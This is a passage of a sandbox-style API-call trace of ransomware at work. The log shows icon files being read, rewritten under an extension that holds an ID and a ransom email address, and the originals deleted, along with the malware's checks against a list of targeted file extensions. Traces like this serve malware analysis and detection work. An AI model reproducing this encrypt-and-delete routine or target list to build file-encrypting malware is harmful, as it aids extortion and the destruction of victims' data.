dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.348] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0161.348] GetLastError () returned 0x0 [0161.348] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x159d5, lpOverlapped=0x0) returned 1 [0161.629] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x159e0, lpOverlapped=0x0) returned 1 [0161.631] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.631] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf2, lpOverlapped=0x0) returned 1 [0161.631] SetEndOfFile (hFile=0x318) returned 1 [0161.631] CloseHandle (hObject=0x318) returned 1 [0161.633] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.633] SetEndOfFile (hFile=0x308) returned 1 [0161.634] CloseHandle (hObject=0x308) returned 1 [0161.634] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.635] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0161.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.635] lstrlenW (lpString=".doc") returned 4 [0161.635] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.635] lstrlenW (lpString=".docx") returned 5 [0161.635] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0161.635] lstrlenW (lpString=".pdf") returned 4 [0161.635] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.635] lstrlenW (lpString=".xls") returned 4 [0161.635] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.635] lstrlenW (lpString=".xlsx") returned 5 [0161.635] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0161.635] lstrlenW (lpString=".ppt") returned 4 [0161.635] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.635] lstrlenW (lpString=".zip") returned 4 [0161.635] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.635] lstrlenW (lpString=".rar") returned 4 [0161.635] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.635] lstrlenW (lpString=".bz2") returned 4 [0161.635] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.635] lstrlenW (lpString=".7z") returned 3 [0161.636] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.636] lstrlenW (lpString=".dbf") returned 4 [0161.636] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.636] lstrlenW (lpString=".1cd") returned 4 [0161.636] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.636] lstrlenW (lpString=".jpg") returned 4 [0161.636] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.636] lstrlenW (lpString=".doc") returned 4 [0161.636] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.636] lstrlenW (lpString=".docx") returned 5 [0161.636] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0161.636] lstrlenW (lpString=".pdf") returned 4 [0161.636] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.636] lstrlenW (lpString=".xls") returned 4 [0161.636] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.636] lstrlenW (lpString=".xlsx") returned 5 [0161.636] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0161.636] lstrlenW (lpString=".ppt") returned 4 [0161.636] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.636] lstrlenW (lpString=".zip") returned 4 [0161.636] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.636] lstrlenW (lpString=".rar") returned 4 [0161.636] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.636] lstrlenW (lpString=".bz2") returned 4 [0161.636] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.636] lstrlenW (lpString=".7z") returned 3 [0161.636] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.637] lstrlenW (lpString=".dbf") returned 4 [0161.637] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.637] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.637] lstrlenW (lpString=".1cd") returned 4 [0161.637] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.637] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0161.637] lstrlenW (lpString=".jpg") returned 4 [0161.637] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.637] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.637] lstrlenW (lpString="Rotate5.ico") returned 11 [0161.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.643] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=894) returned 1 [0161.643] CloseHandle (hObject=0x308) returned 1 [0161.643] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0161.643] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.643] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.644] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0161.644] GetLastError () returned 0x0 [0161.644] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x37e, lpOverlapped=0x0) returned 1 [0161.674] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x380, lpOverlapped=0x0) returned 1 [0161.675] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.675] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xea, lpOverlapped=0x0) returned 1 [0161.675] SetEndOfFile (hFile=0x318) returned 1 [0161.675] CloseHandle (hObject=0x318) returned 1 [0161.676] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.676] SetEndOfFile (hFile=0x308) returned 1 [0161.684] CloseHandle (hObject=0x308) returned 1 [0161.684] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.684] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0161.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.684] lstrlenW (lpString=".doc") returned 4 [0161.684] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.684] lstrlenW (lpString=".docx") returned 5 [0161.685] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0161.685] lstrlenW (lpString=".pdf") returned 4 [0161.685] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.685] lstrlenW (lpString=".xls") returned 4 [0161.685] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.685] lstrlenW (lpString=".xlsx") returned 5 [0161.685] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0161.685] lstrlenW (lpString=".ppt") returned 4 [0161.685] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.685] lstrlenW (lpString=".zip") returned 4 [0161.685] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.685] lstrlenW (lpString=".rar") returned 4 [0161.685] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.685] lstrlenW (lpString=".bz2") returned 4 [0161.685] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.685] lstrlenW (lpString=".7z") returned 3 [0161.685] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.685] lstrlenW (lpString=".dbf") returned 4 [0161.685] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.685] lstrlenW (lpString=".1cd") returned 4 [0161.685] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.685] lstrlenW (lpString=".jpg") returned 4 [0161.685] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.685] lstrlenW (lpString=".doc") returned 4 [0161.685] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.685] lstrlenW (lpString=".docx") returned 5 [0161.685] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0161.686] lstrlenW (lpString=".pdf") returned 4 [0161.686] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.686] lstrlenW (lpString=".xls") returned 4 [0161.686] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.686] lstrlenW (lpString=".xlsx") returned 5 [0161.686] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0161.686] lstrlenW (lpString=".ppt") returned 4 [0161.686] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.686] lstrlenW (lpString=".zip") returned 4 [0161.686] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.686] lstrlenW (lpString=".rar") returned 4 [0161.686] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.686] lstrlenW (lpString=".bz2") returned 4 [0161.686] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.686] lstrlenW (lpString=".7z") returned 3 [0161.686] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.686] lstrlenW (lpString=".dbf") returned 4 [0161.686] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.686] lstrlenW (lpString=".1cd") returned 4 [0161.686] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0161.686] lstrlenW (lpString=".jpg") returned 4 [0161.686] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.686] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.686] lstrlenW (lpString="stop.ico") returned 8 [0161.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.687] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=10134) returned 1 [0161.687] CloseHandle (hObject=0x308) returned 1 [0161.687] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0161.687] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.687] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.687] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0161.687] GetLastError () returned 0x0 [0161.687] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x2796, lpOverlapped=0x0) returned 1 [0161.728] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x27a0, lpOverlapped=0x0) returned 1 [0161.729] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.729] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.729] SetEndOfFile (hFile=0x318) returned 1 [0161.729] CloseHandle (hObject=0x318) returned 1 [0161.730] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.730] SetEndOfFile (hFile=0x308) returned 1 [0161.730] CloseHandle (hObject=0x308) returned 1 [0161.730] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.731] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0161.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.731] lstrlenW (lpString=".doc") returned 4 [0161.731] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.731] lstrlenW (lpString=".docx") returned 5 [0161.731] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0161.731] lstrlenW (lpString=".pdf") returned 4 [0161.731] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.731] lstrlenW (lpString=".xls") returned 4 [0161.731] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.731] lstrlenW (lpString=".xlsx") returned 5 [0161.731] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0161.731] lstrlenW (lpString=".ppt") returned 4 [0161.731] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.731] lstrlenW (lpString=".zip") returned 4 [0161.731] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.731] lstrlenW (lpString=".rar") returned 4 [0161.731] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.731] lstrlenW (lpString=".bz2") returned 4 [0161.731] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.732] lstrlenW (lpString=".7z") returned 3 [0161.732] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.732] lstrlenW (lpString=".dbf") returned 4 [0161.732] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.732] lstrlenW (lpString=".1cd") returned 4 [0161.732] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.732] lstrlenW (lpString=".jpg") returned 4 [0161.732] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.732] lstrlenW (lpString=".doc") returned 4 [0161.732] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.732] lstrlenW (lpString=".docx") returned 5 [0161.732] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0161.732] lstrlenW (lpString=".pdf") returned 4 [0161.732] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.732] lstrlenW (lpString=".xls") returned 4 [0161.732] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.732] lstrlenW (lpString=".xlsx") returned 5 [0161.732] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0161.732] lstrlenW (lpString=".ppt") returned 4 [0161.732] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.732] lstrlenW (lpString=".zip") returned 4 [0161.732] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.732] lstrlenW (lpString=".rar") returned 4 [0161.732] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.732] lstrlenW (lpString=".bz2") returned 4 [0161.732] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.732] lstrlenW (lpString=".7z") returned 3 [0161.732] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.733] lstrlenW (lpString=".dbf") returned 4 [0161.733] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.733] lstrlenW (lpString=".1cd") returned 4 [0161.733] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0161.733] lstrlenW (lpString=".jpg") returned 4 [0161.733] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.733] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.733] lstrlenW (lpString="warn.ico") returned 8 [0161.733] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.733] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=10134) returned 1 [0161.733] CloseHandle (hObject=0x308) returned 1 [0161.733] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0161.733] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.733] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.734] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.734] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.734] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0161.734] GetLastError () returned 0x0 [0161.734] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x2796, lpOverlapped=0x0) returned 1 [0161.921] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x27a0, lpOverlapped=0x0) returned 1 [0161.922] ReadFile (in: hFile=0x308, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.922] WriteFile (in: hFile=0x318, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.922] SetEndOfFile (hFile=0x318) returned 1 [0161.922] CloseHandle (hObject=0x318) returned 1 [0161.923] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.923] SetEndOfFile (hFile=0x308) returned 1 [0161.924] CloseHandle (hObject=0x308) returned 1 [0161.924] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.924] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0161.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.924] lstrlenW (lpString=".doc") returned 4 [0161.924] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.924] lstrlenW (lpString=".docx") returned 5 [0161.924] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0161.924] lstrlenW (lpString=".pdf") returned 4 [0161.924] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.924] lstrlenW (lpString=".xls") returned 